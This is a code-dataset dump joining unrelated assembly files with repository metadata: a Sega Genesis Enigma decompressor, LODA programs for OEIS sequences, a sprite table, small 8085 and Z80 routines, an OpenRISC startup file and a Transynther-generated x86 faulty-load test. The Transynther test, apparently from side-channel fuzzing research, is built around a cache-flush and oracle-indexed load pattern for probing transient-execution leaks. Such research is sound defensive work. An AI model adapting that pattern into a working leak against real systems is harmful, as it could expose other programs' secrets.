moveq #6,d0 ; if it isn't, the entry is actually 6 bits
lsr.w #1,d2
; loc_1758:
@sevenbitentry:
bsr.w EniDec_FetchByte
andi.w #$F,d2 ; get repeat count
lsr.w #4,d1
add.w d1,d1
jmp EniDec_Index(pc,d1.w)
; End of function EniDec
; ===========================================================================
; loc_1768:
EniDec_00:
@loop: move.w a2,(a1)+ ; copy incremental copy word
addq.w #1,a2 ; increment it
dbf d2,@loop ; repeat
bra.s Eni_Loop
; ===========================================================================
; loc_1772:
EniDec_01:
@loop: move.w a4,(a1)+ ; copy literal copy word
dbf d2,@loop ; repeat
bra.s Eni_Loop
; ===========================================================================
; loc_177A:
EniDec_100:
bsr.w EniDec_FetchInlineValue
; loc_177E:
@loop: move.w d1,(a1)+ ; copy inline value
dbf d2,@loop ; repeat
bra.s Eni_Loop
; ===========================================================================
; loc_1786:
EniDec_101:
bsr.w EniDec_FetchInlineValue
; loc_178A:
@loop: move.w d1,(a1)+ ; copy inline value
addq.w #1,d1 ; increment
dbf d2,@loop ; repeat
bra.s Eni_Loop
; ===========================================================================
; loc_1794:
EniDec_110:
bsr.w EniDec_FetchInlineValue
; loc_1798:
@loop: move.w d1,(a1)+ ; copy inline value
subq.w #1,d1 ; decrement
dbf d2,@loop ; repeat
bra.s Eni_Loop
; ===========================================================================
; loc_17A2:
EniDec_111:
cmpi.w #$F,d2
beq.s EniDec_Done
; loc_17A8:
@loop: bsr.w EniDec_FetchInlineValue ; fetch new inline value
move.w d1,(a1)+ ; copy it
dbf d2,@loop ; and repeat
bra.s Eni_Loop
; ===========================================================================
; loc_17B4:
EniDec_Index:
bra.s EniDec_00
bra.s EniDec_00
bra.s EniDec_01
bra.s EniDec_01
bra.s EniDec_100
bra.s EniDec_101
bra.s EniDec_110
bra.s EniDec_111
; ===========================================================================
; loc_17C4:
EniDec_Done:
subq.w #1,a0 ; go back by one byte
cmpi.w #16,d6 ; were we going to start on a completely new byte?
bne.s @notnewbyte ; if not, branch
subq.w #1,a0 ; and another one if needed
; loc_17CE:
@notnewbyte:
move.w a0,d0
lsr.w #1,d0 ; are we on an odd byte?
bcc.s @evenbyte ; if not, branch
addq.w #1,a0 ; ensure we're on an even byte
; loc_17D6:
@evenbyte:
movem.l (sp)+,d0-d7/a1-a5
rts
; ---------------------------------------------------------------------------
; Part of the Enigma decompressor
; Fetches an inline copy value and stores it in d1
; ---------------------------------------------------------------------------
; =============== S U B R O U T I N E =======================================
; loc_17DC:
EniDec_FetchInlineValue:
move.w a3,d3 ; copy starting art tile
move.b d4,d1 ; copy PCCVH bitfield
add.b d1,d1 ; is the priority bit set?
bcc.s @skippriority ; if not, branch
subq.w #1,d6
btst d6,d5 ; is the priority bit set in the inline render flags?
beq.s @skippriority ; if not, branch
ori.w #$8000,d3 ; otherwise set priority bit in art tile
; loc_17EE:
@skippriority:
add.b d1,d1 ; is the high palette line bit set?
bcc.s @skiphighpal ; if not, branch
subq.w #1,d6
btst d6,d5
beq.s @skiphighpal
addi.w #$4000,d3 ; set second palette line bit
; loc_17FC:
@skiphighpal:
add.b d1,d1 ; is the low palette line bit set?
bcc.s @skiplowpal ; if not, branch
subq.w #1,d6
btst d6,d5
beq.s @skiplowpal
addi.w #$2000,d3 ; set first palette line bit
; loc_180A:
@skiplowpal:
add.b d1,d1 ; is the vertical flip flag set?
bcc.s @skipyflip ; if not, branch
subq.w #1,d6
btst d6,d5
beq.s @skipyflip
ori.w #$1000,d3 ; set Y-flip bit
; loc_1818:
@skipyflip:
add.b d1,d1 ; is the horizontal flip flag set?
bcc.s @skipxflip ; if not, branch
subq.w #1,d6
btst d6,d5
beq.s @skipxflip
ori.w #$800,d3 ; set X-flip bit
; loc_1826:
@skipxflip:
move.w d5,d1
move.w d6,d7
sub.w a5,d7 ; subtract length in bits of inline copy value
bcc.s @enoughbits ; branch if a new word doesn't need to be read
move.w d7,d6
addi.w #16,d6
neg.w d7 ; calculate bit deficit
lsl.w d7,d1 ; and make space for that many bits
move.b (a0),d5 ; get next byte
rol.b d7,d5 ; and rotate the required bits into the lowest positions
add.w d7,d7
and.w EniDec_Masks-2(pc,d7.w),d5
add.w d5,d1 ; combine upper bits with lower bits
; loc_1844:
@maskvalue:
move.w a5,d0 ; get length in bits of inline copy value
add.w d0,d0
and.w EniDec_Masks-2(pc,d0.w),d1 ; mask value appropriately
add.w d3,d1 ; add starting art tile
move.b (a0)+,d5
lsl.w #8,d5
move.b (a0)+,d5 ; get next word
rts
; ===========================================================================
; loc_1856:
@enoughbits:
beq.s @justenough ; if the word has been exactly exhausted, branch
lsr.w d7,d1 ; get inline copy value
move.w a5,d0
add.w d0,d0
and.w EniDec_Masks-2(pc,d0.w),d1 ; and mask it appropriately
add.w d3,d1 ; add starting art tile
move.w a5,d0
bra.s EniDec_FetchByte
; ===========================================================================
; loc_1868:
@justenough:
moveq #16,d6 ; reset shift value
bra.s @maskvalue
; ===========================================================================
; word_186C:
EniDec_Masks:
dc.w 1, 3, 7, $F
dc.w $1F, $3F, $7F, $FF
dc.w $1FF, $3FF, $7FF, $FFF
dc.w $1FFF,$3FFF,$7FFF,$FFFF
; ||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
; sub_188C:
EniDec_FetchByte:
sub.w d0,d6 ; subtract length of current entry from shift value so that next entry is read next time around
cmpi.w #9,d6 ; does a new byte need to be read?
bhs.s @locret ; if not, branch
addq.w #8,d6
asl.w #8,d5
move.b (a0)+,d5
@locret:
rts
; End of function EniDec_FetchByte
| 28.722222
| 109
| 0.548218
|
cd485d35d1f26a106055f4295e8ba458a0deada2
| 257
|
asm
|
Assembly
|
programs/oeis/010/A010718.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/010/A010718.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/010/A010718.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A010718: Periodic sequence: repeat [5, 7].
; 5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5
mod $0,2
mov $1,3
pow $1,$0
add $1,4
mov $0,$1
| 28.555556
| 163
| 0.533074
|
00ffa8532d3e78117551aa7ffe49cf8eb99c0721
| 1,016
|
asm
|
Assembly
|
programs/oeis/157/A157445.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/157/A157445.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/157/A157445.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A157445: a(n) = 14641*n^2 - 4598*n + 362.
; 10405,49730,118337,216226,343397,499850,685585,900602,1144901,1418482,1721345,2053490,2414917,2805626,3225617,3674890,4153445,4661282,5198401,5764802,6360485,6985450,7639697,8323226,9036037,9778130,10549505,11350162,12180101,13039322,13927825,14845610,15792677,16769026,17774657,18809570,19873765,20967242,22090001,23242042,24423365,25633970,26873857,28143026,29441477,30769210,32126225,33512522,34928101,36372962,37847105,39350530,40883237,42445226,44036497,45657050,47306885,48986002,50694401,52432082,54199045,55995290,57820817,59675626,61559717,63473090,65415745,67387682,69388901,71419402,73479185,75568250,77686597,79834226,82011137,84217330,86452805,88717562,91011601,93334922,95687525,98069410,100480577,102921026,105390757,107889770,110418065,112975642,115562501,118178642,120824065,123498770,126202757,128936026,131698577,134490410,137311525,140161922,143041601,145950562
seq $0,157444 ; a(n) = 1331*n - 209.
add $1,$0
mul $1,$0
div $1,121
add $1,1
mov $0,$1
| 101.6
| 883
| 0.839567
|
231f5e37df116e0a26c6edab9dd57a0893b1e441
| 784
|
asm
|
Assembly
|
src/util/icon/asm_gotofn.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
src/util/icon/asm_gotofn.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
src/util/icon/asm_gotofn.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
section sprite
xdef mes_gotofn
xref mes_zero
mes_gotofn
dc.w $0100,$0000
dc.w 20,16,0,0
dc.l mcs_gotofn-*
dc.l mes_zero-*
dc.l sp_func-*
mcs_gotofn
dc.w $5B00,$8808
dc.w $8080,$0000
dc.w $9200,$8D0D
dc.w $8080,$0000
dc.w $9B00,$8F0F
dc.w $8080,$0000
dc.w $9200,$8F0F
dc.w $8080,$0000
dc.w $5300,$8F0F
dc.w $8080,$0000
dc.w $0000,$3F3F
dc.w $E0E0,$0000
dc.w $0000,$1F1F
dc.w $C0C0,$0000
dc.w $0000,$0F0F
dc.w $8080,$0000
dc.w $0000,$0707
dc.w $0000,$0000
dc.w $0000,$0202
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0E0E,$A9A9
dc.w $2020,$0000
dc.w $0808,$ADAD
dc.w $5050,$0000
dc.w $0C0C,$ABAB
dc.w $4040,$0000
dc.w $0808,$A9A9
dc.w $5050,$0000
dc.w $0808,$4949
dc.w $2020,$0000
*
sp_func
incbin 'win1_util_icon_gotofn_spr'
end
| 16.333333
| 35
| 0.645408
|
c743656366b91fbf330376ebff351fa234e48686
| 55
|
asm
|
Assembly
|
examples/iotest.asm
|
Textmode/TMVM
|
3689fb6eec76c44748051d52edae26f96d68091f
|
[
"Zlib"
] | null | null | null |
examples/iotest.asm
|
Textmode/TMVM
|
3689fb6eec76c44748051d52edae26f96d68091f
|
[
"Zlib"
] | 1
|
2019-05-11T07:12:05.000Z
|
2019-05-11T07:12:05.000Z
|
examples/iotest.asm
|
Textmode/TMVM
|
3689fb6eec76c44748051d52edae26f96d68091f
|
[
"Zlib"
] | null | null | null |
MOV 1, A
LBL loop, null
IN A, B
OUT A, B
JMP loop
HLT
| 6.875
| 14
| 0.636364
|
1218b42c59211660c6ae75c9840988957e93a58f
| 646
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/input/sms/z80/asm_in_test_key.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/input/sms/z80/asm_in_test_key.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/input/sms/z80/asm_in_test_key.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; ===============================================================
; Apr 2017
; ===============================================================
;
; int in_test_key(void)
;
; Return true if a key is currently pressed.
;
; ===============================================================
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_input
PUBLIC asm_in_test_key
asm_in_test_key:
; exit : nz flag set if a key is pressed
; z flag set if no key is pressed
;
; uses : af
push bc
in a,(__IO_JOYSTICK_READ_L)
cpl
and $30
ld c,a
in a,(__IO_JOYSTICK_READ_H)
cpl
and $0c
or c
pop bc
ret
| 15.756098
| 65
| 0.45356
|
6ebc628c32e5c7ab8507e5d6e95cb824bb1215e3
| 273
|
asm
|
Assembly
|
8bitsubt.asm
|
adey99/8085asmcodes
|
8049bbf4cc698f5ac9309fee2c5b827680acc8de
|
[
"MIT"
] | null | null | null |
8bitsubt.asm
|
adey99/8085asmcodes
|
8049bbf4cc698f5ac9309fee2c5b827680acc8de
|
[
"MIT"
] | null | null | null |
8bitsubt.asm
|
adey99/8085asmcodes
|
8049bbf4cc698f5ac9309fee2c5b827680acc8de
|
[
"MIT"
] | null | null | null |
// SUBSTRACTION OF TWO 8BIT NUMBERS
// Manually strore 1st no in the memory location C050
// Manually store 2nd no in the memory location C051
// Result is stored in C053
LXI H,C050
MOV A,M
INX H
SUB M
INX H
MOV M,A
HLT
# ORG C050
# DB 95H,65H
| 18.2
| 53
| 0.655678
|
8647b9f491124e03f806966cf66f7bd6653a5e9a
| 2,794
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_50_918.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_50_918.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_50_918.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1590a, %rcx
nop
nop
and $23579, %r10
mov (%rcx), %si
nop
nop
nop
dec %rdi
lea addresses_A_ht+0xec6a, %rcx
nop
add $53292, %rax
movb (%rcx), %r9b
nop
cmp %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %rbp
push %rcx
push %rdi
// Store
lea addresses_A+0xba6a, %rdi
nop
nop
nop
nop
nop
cmp $46768, %r13
movl $0x51525354, (%rdi)
// Exception!!!
nop
nop
mov (0), %r13
nop
cmp %rdi, %rdi
// Store
lea addresses_normal+0x1aa6a, %r14
nop
nop
inc %rbp
mov $0x5152535455565758, %r12
movq %r12, %xmm6
movups %xmm6, (%r14)
nop
nop
nop
inc %rbp
// Load
lea addresses_RW+0x5c6a, %r14
nop
and $4177, %rcx
mov (%r14), %r13
// Exception!!!
nop
nop
nop
nop
mov (0), %r14
nop
nop
xor %r15, %r15
// Store
lea addresses_WC+0x660e, %r13
nop
nop
add %r15, %r15
movb $0x51, (%r13)
nop
nop
nop
nop
nop
and %r14, %r14
// Load
lea addresses_normal+0x32aa, %r15
clflush (%r15)
nop
nop
nop
sub %rcx, %rcx
vmovups (%r15), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rdi
add $31248, %r12
// Faulty Load
lea addresses_A+0xba6a, %rcx
dec %r15
movups (%rcx), %xmm3
vpextrq $1, %xmm3, %r13
lea oracles, %r12
and $0xff, %r13
shlq $12, %r13
mov (%r12,%r13,1), %r13
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'35': 50}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
| 18.878378
| 149
| 0.638869
|
55a2831ea34d3aa51fae89f32e4244a45cd970c8
| 446
|
asm
|
Assembly
|
programs/oeis/143/A143200.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/143/A143200.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/143/A143200.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A143200: Triangle read by rows: t(n,m) is -1 if binomial(n, m) is greater than 1 and odd, otherwise t(n,m) = binomial(n, m) mod 2.
; 1,1,1,1,0,1,1,-1,-1,1,1,0,0,0,1,1,-1,0,0,-1,1,1,0,-1,0,-1,0,1,1,-1,-1,-1,-1,-1,-1,1,1,0,0,0,0,0,0,0,1,1,-1,0,0,0,0,0,0,-1,1,1,0,-1,0,0,0,0,0,-1,0,1
cal $0,177228 ; A combinatorial differential triangle sequence:q=3;t=1/q;f(t,n)=d^n/dt^n*(t/(1+t); c(t.n,m)=(1/(1+t)*f(n,t)/(f(t,m)*f(t,(n-m))
mov $1,$0
mod $1,2
| 63.714286
| 149
| 0.560538
|
361403de11e4432e2ac98031ca61eea2c3825988
| 3,501
|
asm
|
Assembly
|
programs/oeis/215/A215229.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/215/A215229.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/215/A215229.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A215229: Number of length-6 0..k arrays connected end-around, with no sequence of L<n elements immediately followed by itself (periodic "squarefree").
; 0,18,408,2940,12600,40110,105168,240408,496080,945450,1690920,2870868,4667208,7313670,11104800,16405680,23662368,33413058,46299960,63081900,84647640,112029918,146420208,189184200,241878000,306265050,384333768,478315908,590705640,724279350,882116160,1067619168,1284537408,1536988530,1829482200,2166944220,2554741368,2998706958,3505167120,4080967800,4733502480,5470740618,6301256808,7234260660,8279627400,9447929190,10750467168,12199304208,13807298400,15588137250,17556372600,19727456268,22117776408,24744694590,27626583600,30782865960,34234053168,38001785658,42108873480,46579337700,51438452520,56712788118,62430254208,68620144320,75313180800,82541560530,90339001368,98740789308,107783826360,117506679150,127949628240,139154718168,151165808208,164028623850,177790809000,192501978900,208213773768,224979913158,242856251040,261900831600,282173945760,303738188418,326658516408,351002307180,376839418200,404242247070,433285792368,464047715208,496608401520,531051025050,567461611080,605929100868,646545416808,689405528310,734607518400,782252651040,832445439168,885293713458,940908691800,999405049500,1060900990200,1125518317518,1193382507408,1264622781240,1339372179600,1417767636810,1499950056168,1586064385908,1676259695880,1770689254950,1869510609120,1972885660368,2080980746208,2193966719970,2312019031800,2435317810380,2564047945368,2698399170558,2838566147760,2984748551400,3137151153840,3295983911418,3461462051208,3633806158500,3813242265000,4000001937750,4194322368768,4396446465408,4606622941440,4825106408850,5052157470360,5288042812668,5533035300408,5787414070830,6051464629200,6325478944920,6609755548368,6904599628458,7210323130920,7527244857300,7855690564680,8195993066118,8548492331808,8913535590960,9291477434400,9682679917890,10087512666168,10506352977708,10939585930200,11387604486750,11850809602800,12329610333768,12824423943408,13335676012890,13863800550600,14409240102660,14972445864168,15553877791158,16154004713280,16773304447200,17412263910720,18071379237618,18751155893208,19452108790620,20174762407800,20919650905230,21687318244368,22478318306808,23293215014160,24132582448650,24997004974440,25887077359668,26803404899208,27746603538150,28717299996000,29716131891600,30743747868768,31800807722658,32887982526840,34005954761100,35155418439960,36337079241918,37551654639408,38799874029480,40082478865200,41400222787770,42753871759368,44144204196708,45572011105320,47038096214550,48543276113280,50088380386368,51674251751808,53301746198610,54971733125400,56685095479740,58442729898168,60245546846958,62094470763600,63990440199000,65934407960400,67927341255018,69970221834408,72064046139540,74209825446600,76408586013510,78661369227168,80969231751408,83333245675680,85754498664450
mov $2,$0
sub $2,1
mov $7,$0
lpb $0,1
lpb $0,1
sub $0,1
add $4,$2
lpe
sub $2,1
lpb $4,1
add $1,$2
sub $4,1
lpe
lpe
mov $5,$7
mov $8,$7
lpb $5,1
sub $5,1
add $6,$8
lpe
mov $3,2
mov $8,$6
lpb $3,1
add $1,$8
sub $3,1
lpe
mov $5,$7
mov $6,0
lpb $5,1
sub $5,1
add $6,$8
lpe
mov $5,$7
mov $8,$6
mov $6,0
lpb $5,1
sub $5,1
add $6,$8
lpe
mov $3,9
mov $8,$6
lpb $3,1
add $1,$8
sub $3,1
lpe
mov $5,$7
mov $6,0
lpb $5,1
sub $5,1
add $6,$8
lpe
mov $3,6
mov $8,$6
lpb $3,1
add $1,$8
sub $3,1
lpe
mov $5,$7
mov $6,0
lpb $5,1
sub $5,1
add $6,$8
lpe
mov $3,1
mov $8,$6
lpb $3,1
add $1,$8
sub $3,1
lpe
| 47.958904
| 2,699
| 0.836332
|
6c8dcd8b166ad74bddf005c1b7373f7b888f92ab
| 241
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/sound/bit/c/sccz80/bit_beep_raw_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/sound/bit/c/sccz80/bit_beep_raw_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/sound/bit/c/sccz80/bit_beep_raw_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; void bit_beep_raw_callee(uint16_t num_cycles, uint16_t tone_period_T)
SECTION code_sound_bit
PUBLIC bit_beep_raw_callee
EXTERN asm_bit_beep_raw
bit_beep_raw_callee:
pop af
pop hl
pop de
push af
jp asm_bit_beep_raw
| 13.388889
| 71
| 0.780083
|
be0f282a6e634e33d9e27204536bb5a9db9a80c8
| 430
|
asm
|
Assembly
|
programs/oeis/165/A165640.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/165/A165640.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/165/A165640.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A165640: Number of distinct multisets of n integers, each of which is -2, +1, or +3, such that the sum of the members of each multiset is 3.
; 1,0,1,1,1,2,1,1,2,2,2,2,2,2,3,3,2,3,3,3,4,3,3,4,4,4,4,4,4,5,5,4,5,5,5,6,5,5,6,6,6,6,6,6,7,7,6,7,7,7,8,7,7,8,8,8,8,8,8,9,9,8,9,9,9,10,9,9,10,10,10,10,10,10,11,11,10,11,11,11,12,11,11,12,12,12,12,12,12,13,13,12
add $0,5
mov $2,$0
lpb $0
trn $0,3
add $1,1
trn $1,$2
trn $2,5
lpe
| 35.833333
| 210
| 0.6
|
02d9b592261e7a9b1b338f5f5b55811bf0b85b3c
| 755
|
asm
|
Assembly
|
programs/oeis/065/A065881.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/065/A065881.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/065/A065881.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A065881: Ultimate modulo 10: right-hand nonzero digit of n.
; 1,2,3,4,5,6,7,8,9,1,1,2,3,4,5,6,7,8,9,2,1,2,3,4,5,6,7,8,9,3,1,2,3,4,5,6,7,8,9,4,1,2,3,4,5,6,7,8,9,5,1,2,3,4,5,6,7,8,9,6,1,2,3,4,5,6,7,8,9,7,1,2,3,4,5,6,7,8,9,8,1,2,3,4,5,6,7,8,9,9,1,2,3,4,5,6,7,8,9,1,1,2,3,4,5,6,7,8,9,1,1,2,3,4,5,6,7,8,9,2,1,2,3,4,5,6,7,8,9,3,1,2,3,4,5,6,7,8,9,4,1,2,3,4,5,6,7,8,9,5,1,2,3,4,5,6,7,8,9,6,1,2,3,4,5,6,7,8,9,7,1,2,3,4,5,6,7,8,9,8,1,2,3,4,5,6,7,8,9,9,1,2,3,4,5,6,7,8,9,2,1,2,3,4,5,6,7,8,9,1,1,2,3,4,5,6,7,8,9,2,1,2,3,4,5,6,7,8,9,3,1,2,3,4,5,6,7,8,9,4,1,2,3,4,5,6,7,8,9,5
add $0,1
lpb $0
mov $1,$0
mov $0,$2
add $5,$1
add $0,$5
div $0,10
mod $1,10
mov $3,$5
mov $4,2
mul $4,$1
mov $5,$1
mov $1,$4
mul $5,$3
lpe
sub $1,2
div $1,2
add $1,1
| 34.318182
| 501
| 0.511258
|
f34c0c689f68b0fa4f0a9c07a6db0ff6891661bd
| 240
|
asm
|
Assembly
|
8_kyu/Convert_boolean_values_to_strings_Yes_or_No.asm
|
UlrichBerntien/Codewars-Katas
|
bbd025e67aa352d313564d3862db19fffa39f552
|
[
"MIT"
] | null | null | null |
8_kyu/Convert_boolean_values_to_strings_Yes_or_No.asm
|
UlrichBerntien/Codewars-Katas
|
bbd025e67aa352d313564d3862db19fffa39f552
|
[
"MIT"
] | null | null | null |
8_kyu/Convert_boolean_values_to_strings_Yes_or_No.asm
|
UlrichBerntien/Codewars-Katas
|
bbd025e67aa352d313564d3862db19fffa39f552
|
[
"MIT"
] | null | null | null |
SECTION .text
global bool_to_word
; Returns "Yes" if argument is nonzero, "No" if argument is 0
bool_to_word:
test edi,edi
jz .no
mov rax,yes
ret
.no:
mov rax,no
ret
SECTION .data
yes DB 'Yes',0
no DB "No",0
| 14.117647
| 62
| 0.629167
|
4380389665e153b97d0b05f5f168ecac51acbb3a
| 898
|
asm
|
Assembly
|
examples/or1k/crt0.asm
|
rakati/ppci-mirror
|
8f5b0282fd1122d7c389b39c86fcf5d9352b7bb2
|
[
"BSD-2-Clause"
] | 161
|
2020-05-31T03:29:42.000Z
|
2022-03-07T08:36:19.000Z
|
examples/or1k/crt0.asm
|
rakati/ppci-mirror
|
8f5b0282fd1122d7c389b39c86fcf5d9352b7bb2
|
[
"BSD-2-Clause"
] | 74
|
2020-05-26T18:05:48.000Z
|
2021-02-13T21:55:39.000Z
|
examples/or1k/crt0.asm
|
rakati/ppci-mirror
|
8f5b0282fd1122d7c389b39c86fcf5d9352b7bb2
|
[
"BSD-2-Clause"
] | 19
|
2020-05-27T19:22:11.000Z
|
2022-02-17T18:53:52.000Z
|
section reset
l.j start
l.nop 0
section code
global __data_load_start
global __data_start
global __data_end
global main_main
global bsp_exit
start:
; Initialize ram!
l.movhi r3, hi(__data_load_start)
l.ori r3, r3, lo(__data_load_start)
l.movhi r4, hi(__data_start)
l.ori r4, r4, lo(__data_start)
l.movhi r5, hi(__data_end)
l.ori r5, r5, lo(__data_end)
l.sflts r4, r5
l.bnf _load_done
l.nop 0
_load_loop:
l.lbz r9, 0(r3)
l.addi r3, r3, 1
l.sb 0(r4), r9
l.addi r4, r4, 1
l.sflts r4, r5
l.bf _load_loop
l.nop 0
_load_done:
; Setup stack and enter main!
l.movhi r1, 0x3 ; Setup stack pointer to 0x30000
l.jal main_main ; Enter main
l.nop 0 ; fill delay slot
l.jal bsp_exit ; Call exit cleaning
l.nop 0 ; fill delay slot
end_inf_loop:
l.j end_inf_loop
l.nop 0 ; fill delay slot
| 19.106383
| 57
| 0.64588
|
2c9d7e491a7e4c0cdcd78432353d0135c7cf4d29
| 92
|
asm
|
Assembly
|
